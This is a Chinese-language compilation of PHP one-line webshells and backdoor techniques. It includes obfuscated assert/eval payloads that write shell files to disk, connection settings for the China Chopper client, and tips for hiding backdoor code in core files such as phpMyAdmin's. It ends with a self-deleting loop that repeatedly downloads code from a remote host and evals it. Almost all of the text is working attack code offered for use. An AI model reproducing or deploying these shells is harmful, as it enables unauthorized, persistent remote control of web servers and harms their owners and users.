1、
原一句话:<?php $_GET[a]($_GET[b]);?>
简单利用方法:
?a=assert&b=${fputs(fopen('d.php','w'),'<?php @eval($_POST[c])?>')};
复杂利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
URL解码:?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
base64解码:第一个是:c.php ;第二个是:<?php @eval($_POST[c]); ?>1
# 执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
改进:<?php extract($_REQUEST);@$d($_POST[b])?>
URL:IP/test.php?d=assert
密码:b 菜刀:eval
2、
原:@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
改进:
@array_map(assert,(array)base64_decode($_REQUEST['sofia']));
连接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密码 :vuln 脚本类型:PHP(eval)
[ test.php?sofia=assert($_REQUEST['vuln']) ]
3、暂无法用菜刀连接
<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);
$arr = array($Base($_POST['sofia']) => '|.*|e',);
@array_walk($arr, $_clasc, '');
?>
详解:
vuln=cHJlZ19yZXBsYWNl(preg_replace的base64编码)
sofia=cGhwaW5mbygp(phpinfo()的base64编码)
<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']); //$_clasc=preg_replace
$arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
?>
维持后门:
1、
conifg.class.php文件内容:最好放在网站核心类文件中(比如phpMyAdmin\libraries\config\ConfigFile.class.php)
<?php
class Parse_Args {
public function apply_filters($key) {
assert($key);
}
}
?>
common.php文件内容: (比如放在:phpMyAdmin\import.php)
//执行代码,下面代码最好放在页面顶部,至少不要有require 文件
require_once '..\..\path\config.class.php';
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);
菜刀URL:http://IP:80/path/common.php 密码:s0fia 脚本:eval
2、
shell.php 文件内容:(访问这个文件并提交post数据,生成2.php 一句话木马)
<?php
if($_POST['token'] == 'sofia'){
require 'c:/www/1.log';
}
1.log 文件内容:
<?php
$fp = fopen("./2.php",'w');
fwrite($fp,'<?php @eval($_POST[cmd])?>');
?>
3、插入到核心文件中:
<?php
if(@$_GET[session]=='TGYGFH'){
@array_map($_GET['TMP'],(array)base64_decode($_REQUEST['TYLOHRY']));
q
}
?>
菜刀URL:http://192.168.179.139/php_web/testroot/1.php?session=TGYGFH&TMP=assert&TYLOHRY=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==
密码:vuln assert函数一般可以用菜刀eval连接
复现猥琐的后门,出自本文最后一个链接
条件:开启fastCGI。
局限:Apache、IIS、nginx重启后后门消失,不过可以配合这个链接创建永远存在的后门(就是将这个文件把该链接中web.php对应的PHP文件字符串替换下来,和一起存成 jpg 格式)
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/1.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
1.txt 内容:
file_put_contents('./2.php','<?php @eval($_POST[cmd])?>');
注:eval 表示执行PHP代码;1.txt 内一句话木马必须用单引号(非双引号,否则输出 '<?php @eval() ?>' 到2.php 文件中);
1.txt 可以是远程主机上的一句话文件,但一旦远程主机断网,再次连接后,删除2.php文件,则2.php文件不在自动创建,因为$remote_file不再是有效文件
还有一个大好处,1.txt 文件名后缀可以任意更换,只要$remote_file 的变量值对应一下就行了
参考链接:php一句话后门过狗姿势万千之后门构造与隐藏
那些强悍的PHP一句话后门
各种一句话木马大全
捡了一个非常淫荡的PHP后门,给跪了
【php】assert函数的用法:判断一个表达式是否成立(也可理解为执行PHP代码)